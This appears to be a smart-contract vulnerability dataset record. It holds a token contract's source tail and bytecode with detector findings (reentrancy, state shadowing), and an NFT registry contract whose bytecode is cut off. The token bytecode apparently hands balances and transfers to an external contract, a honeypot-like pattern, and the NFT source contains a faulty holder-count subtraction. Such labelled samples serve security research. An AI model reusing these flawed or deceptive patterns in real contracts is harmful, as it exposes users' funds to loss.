excludedFromFees[_wallet] = _val; } function _setPairs(address pair, bool value) private { _marketPairs[pair] = value; } function setWallet(address _newWallet) external onlyOwner { marketingWallet = _newWallet; } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _dexRouter.WETH(); _approve(address(this), address(_dexRouter), tokenAmount); _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(_dexRouter), tokenAmount); _dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } }
0x6080604052600436106102605760003560e01c80638da5cb5b11610144578063c8c8ebe4116100b6578063deaa59df1161007a578063deaa59df1461076e578063e01af92c1461078e578063e2f45605146107ae578063f2fde38b146107c4578063f4cb4ed0146107e4578063feb1b6ea1461080357600080fd5b8063c8c8ebe414610695578063c9567bf9146106ab578063d28d8852146106c0578063dbe66ca0146106f8578063dd62ed3e1461072857600080fd5b8063b09f126611610108578063b09f1266146105d2578063b9f2486f14610605578063bbde77c114610625578063bc3371821461063b578063c02466681461065b578063c5b0fe9d1461067b57600080fd5b80638da5cb5b1461052457806395d89b4114610542578063a457c2d714610572578063a9059cbb14610592578063afa4f3b2146105b257600080fd5b806332424aa3116101dd5780634e894f9d116101a15780634e894f9d1461047d5780635d2b8b541461049a57806370a08231146104ba578063715018a6146104da5780638129fc1c146104ef578063860aefcf1461050457600080fd5b806332424aa3146103f357806338eac85d14610408578063395093511461041d5780633a9e00de1461043d57806349bd5a5e1461045d57600080fd5b806318160ddd1161022457806318160ddd1461035357806323b872dd146103795780632674ccb41461039957806327c8f835146103bb578063313ce567146103d157600080fd5b806306fdde031461026c5780630930907b146102b3578063095ea7b3146102e057806310ce051614610310578063173d00f81461033257600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5060408051808201909152600c81526b22b4b534b93a902a37b5b2b760a11b60208201525b6040516102aa9190611e50565b60405180910390f35b3480156102bf57600080fd5b506102c8600081565b6040516001600160a01b0390911681526020016102aa565b3480156102ec57600080fd5b506103006102fb366004611ebd565b610818565b60405190151581526020016102aa565b34801561031c57600080fd5b50600e5461030090640100000000900460ff1681565b34801561033e57600080fd5b50600e54610300906301000000900460ff1681565b34801561035f57600080fd5b50683635c9adc5dea000005b6040519081526020016102aa565b34801561038557600080fd5b50610300610394366004611ee9565b61082f565b3480156103a557600080fd5b506103b96103b4366004611f40565b610898565b005b3480156103c757600080fd5b506102c861dead81565b3480156103dd57600080fd5b5060095b60405160ff90911681526020016102aa565b3480156103ff57600080fd5b506103e1600981565b34801561041457600080fd5b506103b9610904565b34801561042957600080fd5b50610300610438366004611ebd565b610951565b34801561044957600080fd5b506103b9610458366004611f73565b610987565b34801561046957600080fd5b50600a546102c8906001600160a01b031681565b34801561048957600080fd5b5061036b683635c9adc5dea0000081565b3480156104a657600080fd5b506103b96104b5366004611f9a565b6109cb565b3480156104c657600080fd5b5061036b6104d5366004611fe3565b610a55565b3480156104e657600080fd5b506103b9610ad3565b3480156104fb57600080fd5b506103b9610b5c565b34801561051057600080fd5b50600e546103009062010000900460ff1681565b34801561053057600080fd5b506000546001600160a01b03166102c8565b34801561054e57600080fd5b506040805180820190915260078152662445494a49525560c81b602082015261029d565b34801561057e57600080fd5b5061030061058d366004611ebd565b610df1565b34801561059e57600080fd5b506103006105ad366004611ebd565b610e40565b3480156105be57600080fd5b506103b96105cd366004611f73565b610e4d565b3480156105de57600080fd5b5061029d604051806040016040528060078152602001662445494a49525560c81b81525081565b34801561061157600080fd5b506009546102c8906001600160a01b031681565b34801561063157600080fd5b5061036b600c5481565b34801561064757600080fd5b506103b9610656366004611f73565b610e91565b34801561066757600080fd5b506103b9610676366004612000565b610ed5565b34801561068757600080fd5b50600e546103e19060ff1681565b3480156106a157600080fd5b5061036b600b5481565b3480156106b757600080fd5b506103b9610f3f565b3480156106cc57600080fd5b5061029d6040518060400160405280600c81526020016b22b4b534b93a902a37b5b2b760a11b81525081565b34801561070457600080fd5b50610300610713366004611fe3565b600f6020526000908152604090205460ff1681565b34801561073457600080fd5b5061036b610743366004612039565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561077a57600080fd5b506103b9610789366004611fe3565b610fe9565b34801561079a57600080fd5b506103b96107a9366004612067565b61104a565b3480156107ba57600080fd5b5061036b600d5481565b3480156107d057600080fd5b506103b96107df366004611fe3565b6110a9565b3480156107f057600080fd5b50600e546103e190610100900460ff1681565b34801561080f57600080fd5b506103006111a8565b6000610825338484611367565b5060015b92915050565b600061083c84848461148c565b61088e8433610889856040518060600160405280602881526020016122c8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611802565b611367565b5060019392505050565b6000546001600160a01b03163314806108bb57506001546001600160a01b031633145b6108e05760405162461bcd60e51b81526004016108d790612084565b60405180910390fd5b600e805460ff9283166101000261ffff199091169290931691909117919091179055565b6000546001600160a01b031633148061092757506001546001600160a01b031633145b6109435760405162461bcd60e51b81526004016108d790612084565b600e805462ff000019169055565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610825918590610889908661183c565b6000546001600160a01b03163314806109aa57506001546001600160a01b031633145b6109c65760405162461bcd60e51b81526004016108d790612084565b600c55565b60025481906001600160a01b031615610a265760405162461bcd60e51b815260206004820152601e60248201527f546f6b656e3a2063616c6c6572206973206e6f7420746865206f776e6572000060448201526064016108d7565b600180546001600160a01b039092166001600160a01b0319928316811790915560028054909216179055505050565b60025460405163123e511960e21b81526001600160a01b03838116600483015260009216906348f944649060240160206040518083038186803b158015610a9b57600080fd5b505afa158015610aaf573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082991906120b9565b6000546001600160a01b0316331480610af657506001546001600160a01b031633145b610b125760405162461bcd60e51b81526004016108d790612084565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331480610b7f57506001546001600160a01b031633145b610b9b5760405162461bcd60e51b81526004016108d790612084565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3291906120d2565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8f57600080fd5b505afa158015610ca3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc791906120d2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4791906120d2565b600a80546001600160a01b0319166001600160a01b03928316179055600054610d7291166001610ed5565b610d7d306001610ed5565b610d8a61dead6001610ed5565b600954610da1906001600160a01b03166001610ed5565b610dca610db66000546001600160a01b031690565b6009546001600160a01b0316600019611367565b600a546001600160a01b03166000908152601060205260409020805460ff19166001179055565b60006108253384610889856040518060600160405280602581526020016122f0602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190611802565b600061082533848461148c565b6000546001600160a01b0316331480610e7057506001546001600160a01b031633145b610e8c5760405162461bcd60e51b81526004016108d790612084565b600d55565b6000546001600160a01b0316331480610eb457506001546001600160a01b031633145b610ed05760405162461bcd60e51b81526004016108d790612084565b600b55565b6000546001600160a01b0316331480610ef857506001546001600160a01b031633145b610f145760405162461bcd60e51b81526004016108d790612084565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331480610f6257506001546001600160a01b031633145b610f7e5760405162461bcd60e51b81526004016108d790612084565b600e805463ff00000019166301000000179055610fb06064610faa683635c9adc5dea00000600161129f565b90611325565b600b55610fcc6064610faa683635c9adc5dea00000600261129f565b600c55610e8c612710610faa683635c9adc5dea00000601461129f565b6000546001600160a01b031633148061100c57506001546001600160a01b031633145b6110285760405162461bcd60e51b81526004016108d790612084565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633148061106d57506001546001600160a01b031633145b6110895760405162461bcd60e51b81526004016108d790612084565b600e80549115156401000000000264ff0000000019909216919091179055565b6000546001600160a01b03163314806110cc57506001546001600160a01b031633145b6110e85760405162461bcd60e51b81526004016108d790612084565b6001600160a01b03811661114d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108d7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314806111cc57506001546001600160a01b031633145b6111e85760405162461bcd60e51b81526004016108d790612084565b60006111f330610a55565b90506000811161123a5760405162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f7567682062616c616e636560701b60448201526064016108d7565b6112438161189b565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114611290576040519150601f19603f3d011682016040523d82523d6000602084013e611295565b606091505b5090935050505090565b6000826112ae57506000610829565b60006112ba8385612105565b9050826112c78583612124565b1461131e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108d7565b9392505050565b600061131e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a04565b6001600160a01b0383166113c95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108d7565b6001600160a01b03821661142a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108d7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661dead14156114b75760405162461bcd60e51b81526004016108d790612146565b6001600160a01b03821661dead14156114e25760405162461bcd60e51b81526004016108d79061218b565b806114f8576114f383836000611a32565b505050565b600e5462010000900460ff16156116e8576000546001600160a01b0384811691161480159061153557506000546001600160a01b03838116911614155b801561154c57506001600160a01b03821661dead14155b801561156057506001600160a01b03821615155b80156115765750600a54600160a01b900460ff16155b156116e857600e546301000000900460ff16611604576001600160a01b0383166000908152600f602052604090205460ff16806115cb57506001600160a01b0382166000908152600f602052604090205460ff165b6116045760405162461bcd60e51b815260206004820152600a6024820152694e4f542041435449564560b01b60448201526064016108d7565b6001600160a01b03831660009081526010602052604090205460ff16801561164557506001600160a01b0382166000908152600f602052604090205460ff16155b156116e857600b5481111561168e5760405162461bcd60e51b815260206004820152600f60248201526e30b6b7bab73a1032bc31b2b2b2399760891b60448201526064016108d7565b600c5461169a83610a55565b6116a490836121ce565b11156116e85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016108d7565b6116f28383611b4e565b600a546001600160a01b0384166000908152600f602052604090205460ff600160a01b90920482161591168061174057506001600160a01b0383166000908152600f602052604090205460ff165b15611749575060005b600081156117f0576001600160a01b03851660009081526010602052604090205460ff161561179157600e5461178a90606490610faa90869060ff1661129f565b90506117d2565b6001600160a01b03841660009081526010602052604090205460ff16156117d257600e546117cf90606490610faa908690610100900460ff1661129f565b90505b80156117e3576117e3853083611a32565b6117ed81846121e6565b92505b6117fb858585611a32565b5050505050565b600081848411156118265760405162461bcd60e51b81526004016108d79190611e50565b50600061183384866121e6565b95945050505050565b60008061184983856121ce565b90508381101561131e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016108d7565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106118d0576118d06121fd565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561192457600080fd5b505afa158015611938573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195c91906120d2565b8160018151811061196f5761196f6121fd565b6001600160a01b0392831660209182029290920101526009546119959130911684611367565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906119ce908590600090869030904290600401612213565b600060405180830381600087803b1580156119e857600080fd5b505af11580156119fc573d6000803e3d6000fd5b505050505050565b60008183611a255760405162461bcd60e51b81526004016108d79190611e50565b5060006118338486612124565b6001600160a01b038316611a585760405162461bcd60e51b81526004016108d790612146565b6001600160a01b038216611a7e5760405162461bcd60e51b81526004016108d79061218b565b611a89838383611c2f565b156114f357611acb816040518060600160405280602681526020016122a2602691396001600160a01b0386166000908152600360205260409020549190611802565b6001600160a01b038085166000908152600360205260408082209390935590841681522054611afa908261183c565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061147f9085815260200190565b6000611b5930610a55565b600e54909150640100000000900460ff168015611b785750600d548110155b8015611b8e5750600a54600160a01b900460ff16155b8015611bb357506001600160a01b03831660009081526010602052604090205460ff16155b8015611bd857506001600160a01b0383166000908152600f602052604090205460ff16155b8015611bfd57506001600160a01b0382166000908152600f602052604090205460ff16155b156114f357600a805460ff60a01b1916600160a01b179055611c1d611d78565b600a805460ff60a01b19169055505050565b600080611c4583611c3f87610a55565b90611e0e565b90506000611c5c84611c5687610a55565b9061183c565b6002546040516302ccb1b360e41b81526001600160a01b03898116600483015260248201869052929350911690632ccb1b3090604401602060405180830381600087803b158015611cac57600080fd5b505af1158015611cc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ce49190612284565b506002546040516302ccb1b360e41b81526001600160a01b0387811660048301526024820184905290911690632ccb1b3090604401602060405180830381600087803b158015611d3357600080fd5b505af1158015611d47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d6b9190612284565b5060009695505050505050565b6000611d8330610a55565b9050611d8e8161189b565b478015611e0a576008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611dcf573d6000803e3d6000fd5b5060408051838152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b5050565b600061131e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611802565b600060208083528351808285015260005b81811015611e7d57858101830151858201604001528201611e61565b81811115611e8f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611eba57600080fd5b50565b60008060408385031215611ed057600080fd5b8235611edb81611ea5565b946020939093013593505050565b600080600060608486031215611efe57600080fd5b8335611f0981611ea5565b92506020840135611f1981611ea5565b929592945050506040919091013590565b803560ff81168114611f3b57600080fd5b919050565b60008060408385031215611f5357600080fd5b611f5c83611f2a565b9150611f6a60208401611f2a565b90509250929050565b600060208284031215611f8557600080fd5b5035919050565b8015158114611eba57600080fd5b600080600060608486031215611faf57600080fd5b8335611fba81611f8c565b9250611fc860208501611f2a565b91506040840135611fd881611ea5565b809150509250925092565b600060208284031215611ff557600080fd5b813561131e81611ea5565b6000806040838503121561201357600080fd5b823561201e81611ea5565b9150602083013561202e81611f8c565b809150509250929050565b6000806040838503121561204c57600080fd5b823561205781611ea5565b9150602083013561202e81611ea5565b60006020828403121561207957600080fd5b813561131e81611f8c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156120cb57600080fd5b5051919050565b6000602082840312156120e457600080fd5b815161131e81611ea5565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561211f5761211f6120ef565b500290565b60008261214157634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082198211156121e1576121e16120ef565b500190565b6000828210156121f8576121f86120ef565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122635784516001600160a01b03168352938301939183019160010161223e565b50506001600160a01b03969096166060850152505050608001529392505050565b60006020828403121561229657600080fd5b815161131e81611f8c56fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220439bfec8cf6f7e04beaf02cd4cedf5f2524ce6e80402f7313d28da1a11aa20f764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,836
0x131Bc921fDf520E62eca46c1011Fc885d6B29B9f
/** *Submitted for verification at Etherscan.io on 2022-03-26 */ pragma solidity ^0.6.12; /* _ _ _ _____ _ | | | | | | / __ \ (_) | | | |_ __ __ _ _ __ _ __ ___ __| | | / \/ ___ _ __ ___ _ __ __ _ _ __ _ ___ _ __ | |/\| | '__/ _` | '_ \| '_ \ / _ \/ _` | | | / _ \| '_ ` _ \| '_ \ / _` | '_ \| |/ _ \| '_ \ \ /\ / | | (_| | |_) | |_) | __/ (_| | | \__/\ (_) | | | | | | |_) | (_| | | | | | (_) | | | | \/ \/|_| \__,_| .__/| .__/ \___|\__,_| \____/\___/|_| |_| |_| .__/ \__,_|_| |_|_|\___/|_| |_| | | | | | | |_| |_| |_| ______ _ _____ _ _ | _ \ | | / __ \ | | | | | | | |__ _| |_ __ _ | / \/ ___ _ __ | |_ _ __ __ _ ___| |_ | | | / _` | __/ _` | | | / _ \| '_ \| __| '__/ _` |/ __| __| | |/ / (_| | || (_| | | \__/\ (_) | | | | |_| | | (_| | (__| |_ |___/ \__,_|\__\__,_| \____/\___/|_| |_|\__|_| \__,_|\___|\__| -NFT data store to hold the following - Wrapped Status - Blocked NFT's - Is Holder? - Status of wrapped (fees) - number of holders (For future use) - Array for address storage for royalty cleanup */ //Interface to NFT contract interface wrappedcompanion{ ////Interface to RCVR function balanceOf(address owner) external view returns (uint256); function tokenURI(uint256 tokenId ) external view returns (string memory); function getArtApproval(uint _tokennumber,address _wallet)external view returns(bool); function ownerOf(uint256 tokenId) external view returns (address); function setStringArtPaths(uint _pathno,string memory _path,uint _tokenid,address _holder) external; } interface ogcompanion{ ////Interface to RCVR function ownerOf(uint256 tokenId) external view returns (address); } contract NFTInfo{ //Arrays/// uint[] private blockednfts; //Array to handle a blocked nfts //Std Variables/// address public wtcaddress = 0x16e2220Bba4a2c5C71f628f4DB2D5D1e0D6ad6e0; address public companion = 0x89af532726f48b7E77aE60705E166252e9Dcde15; address public Owner; address public manager; //Able to modify addresses at a lower level address public royaltywallet; //Wallet for royalties address public upgradecontract; //User management of art uint private numwraps; uint public numholders; uint public numblocked; ///////Important Mappings/////// mapping(address => bool) internal wrapped; //Whether a holder has wrapped mapping(address => bool) internal holder; //Whether they are a holder mapping(address => uint) internal feespaid; //Status of users fees -> 0 -> Not paid for wrap 1-> Paid once 0.01ETH 2-> Paid up to limit of 0.02ETH mapping(uint => uint) internal artenabled; //Dynamic mapping of ar enabled/disabled mapping(address => string) internal artpath; //Dynamic mapping of art mapping(uint => bool) internal blocked; //blocking due to mapping mapping(address=> bool) internal blockedaddresses; //Additional addresses to blacklist ///////Array for holders//////// address[] internal holderaddresses; //array to store the holders //////////////////////////////// modifier onlyOwner() { require(msg.sender == Owner); _; } constructor () public { Owner = msg.sender; //Owner of Contract manager = msg.sender; //Owner as default } ///Update NB address if required function configNBAddresses(uint option,address _address) external onlyOwner{ if (option==1) { wtcaddress = _address; } if (option==2) { royaltywallet = _address; } if (option==3) { companion = _address; } if (option==4) { upgradecontract = _address; } } //Setup ArtWork Manager address/// function setManager(address _manager) external onlyOwner { manager = _manager; } //Obtain Art status for user function getArtStatus(uint _tokenid)public view returns(uint) { uint temp; temp = artenabled[_tokenid]; return temp; } function setARTinWrapper(uint path,string memory _path,uint _tokenid,address _holder) public { require(msg.sender==Owner || msg.sender==upgradecontract,"Not Auth(U)"); wrappedcompanion(wtcaddress).setStringArtPaths(path,_path,_tokenid,_holder); } //Sets the art path for a user function setArtPath(uint _tokennumber,address _holder,uint _pathno) external { bool temp; string memory dummy = ""; //dummy string to pass in require(msg.sender == Owner || msg.sender==manager || msg.sender==upgradecontract,"Not Auth!"); temp = wrappedcompanion(wtcaddress).getArtApproval(_tokennumber,_holder); require(temp==true,"Owner not approved!"); if (_pathno == 0) { setARTinWrapper(4,dummy,_tokennumber,_holder); //Resets dynamic art off artenabled[_tokennumber] = 0; } if (_pathno == 1) { setARTinWrapper(4,dummy,_tokennumber,_holder); //Resets dynamic art off artenabled[_tokennumber] = 1; } if (_pathno == 2) { setARTinWrapper(4,dummy,_tokennumber,_holder); //Resets dynamic art off artenabled[_tokennumber] = 2; } } //Function to Verify whether an NFT is blocked function isBlockedNFT(uint _tokenID) public view returns(bool,uint256) { bool temp; address tempaddress; temp = blocked[_tokenID]; if(temp==false) { tempaddress = ownerOfToken(_tokenID); temp = blockedaddresses[tempaddress];//if the owner is blocked } return (temp,0); } //Function to return whether they are a holder or not function isHolder(address _address) public view returns(bool) { bool temp; if(holder[_address]==true) { temp=true; } return temp; } function manageHolderAddresses(bool status,address _holder) external { require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!"); if(status==true) { //Add user to array! (bool _isholder, ) = isHolderInArray(_holder); if(!_isholder)holderaddresses.push(_holder); } if(status==false) { (bool _isholder, uint256 s) = isHolderInArray(_holder); if(_isholder){ holderaddresses[s] = holderaddresses[holderaddresses.length - 1]; holderaddresses.pop(); } holder[ _holder]=status; } } /////To keep track of holders for future use function manageNumHolders(uint _option) external { require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!"); if (_option==1) //remove holder { numholders -= numholders -1; } if (_option==2) //add holder { numholders += 1; } } /////Returns whether the user is stored in the array//////// function isHolderInArray(address _wallet) public view returns(bool,uint) { for (uint256 s = 0; s < holderaddresses.length; s += 1){ if(_wallet == holderaddresses[s]) return (true,s); } return (false,0); } ///////////////////////// ///Function to override the numholders, this is incase of logic issues and to make sure claim is fair function forceNumHolders(uint _value) external onlyOwner{ numholders = _value; } ///Function to manage addresses function manageBlockedNFT(int option,uint _tokenID,address _wallet,uint _numNFT,bool _onoroff) external onlyOwner{ address temp; if (option==1) // Add NFT to block list { blocked[_tokenID] = true; numblocked+=1; } if (option==2) //Remove from array { bool _isblocked = blocked[_tokenID]; if(_isblocked){ blocked[_tokenID] = false; if (numblocked>0) { numblocked-=1; } } } if (option==3) //Iterate through entire colletion and add { for (uint256 s = 0; s < _numNFT; s += 1){ if(s>0) { temp = ownerOfToken(s); if (temp ==_wallet) { blocked[s] = true; numblocked+=1; } } } } if(option==4) { //setup blocking of addresses blockedaddresses[_wallet] = _onoroff; } } //Function to set the status of a wrap for fee support//// function setUserStatus(address _wrapper,uint _status,bool _haswrapped) external{ require(msg.sender == wtcaddress||msg.sender==Owner||msg.sender==royaltywallet,"Not Oracle/Owner!"); feespaid[_wrapper] = _status; wrapped[_wrapper] = _haswrapped; numwraps+=1; //track number of wraps } function getWrappedStatus(address _migrator) external view returns(bool){ bool temp; if(wrapped[_migrator]==true) { temp = wrapped[_migrator]; } return temp; } function getFeesStatus(address _migrator) external view returns(uint){ uint temp; temp = feespaid[_migrator]; return temp; } function getNumHolders(uint _feed) external view returns(uint){ uint temp; if (_feed ==1) { temp = numholders; } if (_feed ==2) { temp = holderaddresses.length; } if (_feed ==3) { temp = blockednfts.length; } return temp; } ///Returns the holder address given an Index function getHolderAddress(uint _index) external view returns(address payable) { address temp; address payable temp2; temp = holderaddresses[_index]; temp2 = payable(temp); return temp2; } //Returns OwnerOf from NFT function ownerOfToken(uint _tid) public view returns (address) { address temp; temp = ogcompanion(companion).ownerOf(_tid); return temp; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063b4a99a4e116100de578063d0ebdbe711610097578063e4d39d4411610071578063e4d39d4414610462578063e633a5671461051d578063e83dbf7114610525578063fb74a54b146105595761018e565b8063d0ebdbe71461040e578063d4d7b19a14610434578063e04b712a1461045a5761018e565b8063b4a99a4e14610314578063bf2910431461031c578063c167879014610342578063c572a03414610382578063c57ac5d6146103b0578063cb05f196146103cd5761018e565b806352200a131161014b57806378006e471161012557806378006e47146102ca57806378ef9e32146102d25780637fdd822e146102da578063adf38d84146102f75761018e565b806352200a131461026457806357b2ca531461028157806361dcd861146102ad5761018e565b80630a868cdf1461019357806315937df8146101c7578063387d42c5146101e1578063420f0b6b1461021b578063481c6a751461023f5780634af6976e14610247575b600080fd5b6101c5600480360360608110156101a957600080fd5b508035906001600160a01b036020820135169060400135610576565b005b6101cf610748565b60408051918252519081900360200190f35b610207600480360360208110156101f757600080fd5b50356001600160a01b031661074e565b604080519115158252519081900360200190f35b61022361079a565b604080516001600160a01b039092168252519081900360200190f35b6102236107a9565b6101cf6004803603602081101561025d57600080fd5b50356107b8565b6101cf6004803603602081101561027a57600080fd5b50356107ca565b6101c56004803603604081101561029757600080fd5b50803590602001356001600160a01b03166107fc565b6101c5600480360360208110156102c357600080fd5b50356108ab565b6101cf6108c7565b6102236108cd565b610223600480360360208110156102f057600080fd5b50356108dc565b6101c56004803603602081101561030d57600080fd5b503561090b565b6102236109ad565b6101cf6004803603602081101561033257600080fd5b50356001600160a01b03166109bc565b6101c5600480360360a081101561035857600080fd5b508035906020810135906001600160a01b03604082013516906060810135906080013515156109d7565b6101c56004803603604081101561039857600080fd5b508035151590602001356001600160a01b0316610b10565b610223600480360360208110156103c657600080fd5b5035610cd2565b6103f3600480360360208110156103e357600080fd5b50356001600160a01b0316610d56565b60408051921515835260208301919091528051918290030190f35b6101c56004803603602081101561042457600080fd5b50356001600160a01b0316610db3565b6102076004803603602081101561044a57600080fd5b50356001600160a01b0316610dec565b610223610e1d565b6101c56004803603608081101561047857600080fd5b8135919081019060408101602082013564010000000081111561049a57600080fd5b8201836020820111156104ac57600080fd5b803590602001918460018302840111640100000000831117156104ce57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050823593505050602001356001600160a01b0316610e2c565b610223610f79565b6101c56004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001351515610f88565b6103f36004803603602081101561056f57600080fd5b5035611045565b604080516020810190915260008082526003549091906001600160a01b03163314806105ac57506004546001600160a01b031633145b806105c157506006546001600160a01b031633145b6105fe576040805162461bcd60e51b81526020600482015260096024820152684e6f7420417574682160b81b604482015290519081900360640190fd5b600154604080516316dcf53d60e31b8152600481018890526001600160a01b0387811660248301529151919092169163b6e7a9e8916044808301926020929190829003018186803b15801561065257600080fd5b505afa158015610666573d6000803e3d6000fd5b505050506040513d602081101561067c57600080fd5b505191506001821515146106cd576040805162461bcd60e51b81526020600482015260136024820152724f776e6572206e6f7420617070726f7665642160681b604482015290519081900360640190fd5b826106ef576106df6004828787610e2c565b6000858152600d60205260408120555b8260011415610718576107056004828787610e2c565b6000858152600d60205260409020600190555b82600214156107415761072e6004828787610e2c565b6000858152600d60205260409020600290555b5050505050565b60085481565b6001600160a01b0381166000908152600a6020526040812054819060ff1615156001141561079457506001600160a01b0382166000908152600a602052604090205460ff165b92915050565b6001546001600160a01b031681565b6004546001600160a01b031681565b6000908152600d602052604090205490565b60008082600114156107db57506008545b82600214156107e957506011545b8260031415610794575050600054919050565b6003546001600160a01b0316331461081357600080fd5b816001141561083857600180546001600160a01b0319166001600160a01b0383161790555b816002141561085d57600580546001600160a01b0319166001600160a01b0383161790555b816003141561088257600280546001600160a01b0319166001600160a01b0383161790555b81600414156108a757600680546001600160a01b0319166001600160a01b0383161790555b5050565b6003546001600160a01b031633146108c257600080fd5b600855565b60095481565b6002546001600160a01b031681565b6000806000601184815481106108ee57fe5b6000918252602090912001546001600160a01b0316949350505050565b6001546001600160a01b031633148061092e57506003546001600160a01b031633145b8061094357506005546001600160a01b031633145b610988576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b80600114156109975760016008555b80600214156109aa576008805460010190555b50565b6003546001600160a01b031681565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b031633146109ee57600080fd5b60008560011415610a1f576000858152600f60205260409020805460ff191660019081179091556009805490910190555b8560021415610a6b576000858152600f602052604090205460ff168015610a69576000868152600f60205260409020805460ff1916905560095415610a6957600980546000190190555b505b8560031415610ada5760005b83811015610ad8578015610ad057610a8e81610cd2565b9150846001600160a01b0316826001600160a01b03161415610ad0576000818152600f60205260409020805460ff191660019081179091556009805490910190555b600101610a77565b505b8560041415610b08576001600160a01b0384166000908152601060205260409020805460ff19168315151790555b505050505050565b6001546001600160a01b0316331480610b3357506003546001600160a01b031633145b80610b4857506005546001600160a01b031633145b610b8d576040805162461bcd60e51b81526020600482015260116024820152704e6f74204f7261636c652f4f776e65722160781b604482015290519081900360640190fd5b60018215151415610bf9576000610ba382610d56565b50905080610bf757601180546001810182556000919091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319166001600160a01b0384161790555b505b816108a757600080610c0a83610d56565b915091508115610ca857601180546000198101908110610c2657fe5b600091825260209091200154601180546001600160a01b039092169183908110610c4c57fe